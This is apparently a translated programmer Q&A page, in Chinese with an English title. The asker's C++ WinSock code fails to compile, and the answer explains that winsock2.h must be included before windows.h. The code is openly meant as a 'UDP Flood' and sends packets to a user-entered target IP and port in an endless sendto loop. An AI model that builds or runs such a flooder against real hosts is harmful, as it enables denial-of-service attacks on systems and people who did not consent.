当我包含WinSock2.h时,为什么会出现大量编译器错误?

Why do I get a flood of compiler errors when I include WinSock2.h?

本文关键字:编译器 错误 为什么 包含 WinSock2      更新时间:2023-10-16

我正试图在c++中使用WinSock2.h进行UDP Flood,但我在WinSock2.h上得到超过70个错误和17个警告,所有错误都是重新定义,语法错误来自ws2def.h,和"不同的链接"。是我做错了什么,还是这是WinSock2的问题?如果它有任何用处,我使用64位Windows 10, Visual Studio 2015

  #include "stdafx.h"
  #include <WinSock2.h>
  #include <windows.h>
  #include <fstream>
  #include <time.h>
  #include "wtypes.h"
  #include "Functions.h"
  #pragma comment(lib, "ws2_32.lib") 
    //Get IP
    cin.getline(TargetIP, 17);
    //Get IP
    cout << "Enter the Port: ";
    cin >> nPort;
    cout << endl;
    //Initialize WinSock 2.2
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    //Create our UDP Socket
    s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    //Setup the target address
    targetAddr.sin_family = AF_INET;
    targetAddr.sin_port = htons(nPort);
    targetAddr.sin_addr.s_addr = inet_addr(TargetIP);
    //Get input from user
    cout << "Please specify the buffer size:";
    cin >> bufferSize;
    //Create our buffer
    char * buffer = new char[bufferSize];
    while(true){
        //send the buffer to target
        sendto(s, buffer, strlen(buffer), NULL, (sockaddr *)&targetAddr, sizeof(targetAddr));
    }
    //Close Socket
    closesocket(s);
    //Cleanup WSA
    WSACleanup();
    //Cleanup our buffer (prevent memory leak)
    delete[]buffer;

我猜你可能在包含的顺序上有问题。

您可能会在以下行中得到许多错误:

1>c:program files (x86)windows kits8.1includeumwinsock2.h(2373): error C2375: 'WSAStartup': redefinition; different linkage
1>  c:program files (x86)windows kits8.1includeumwinsock.h(867): note: see declaration of 'WSAStartup'

这是因为<windows.h>默认包含<winsock.h>,而<winsock.h>提供了许多与<winsock2.h>重叠的声明,导致<winsock2.h><windows.h>之后包含时出现错误。

因此,您可能希望在之前包含<winsock2.h> <windows.h> :
#include <winsock2.h>
#include <windows.h>

或者,作为一种替代方法,您可以尝试定义 _WINSOCKAPI_ 以防止<winsock.h><windows.h>中包含此预处理器#undef-#define-#include "dance":

#undef _WINSOCKAPI_
#define _WINSOCKAPI_  /* prevents <winsock.h> inclusion by <windows.h> */
#include <windows.h>
#include <winsock2.h>

我不得不说,_WINSOCKAPI_宏的定义干涉普通头包含保护机制,以防止<windows.h>包含<winsock.h>听起来像一个基于实现细节的脆弱"黑客",所以我可能更喜欢第一个选项。

但是在我看来,所有这些包含顺序的错误听起来像是Win32头文件中的错误,所以最好是微软修复它。

编辑
正如评论中建议的那样,进一步的替代方案可能是在 #define WIN32_LEAN_AND_MEAN 之前包括<windows.h>。但是,请注意,这也会阻止包含其他Windows头文件。

注:
如果您正在使用预编译头 ("stdafx.h"在您的问题中新显示的代码),您可能要注意在那里包含的顺序,以及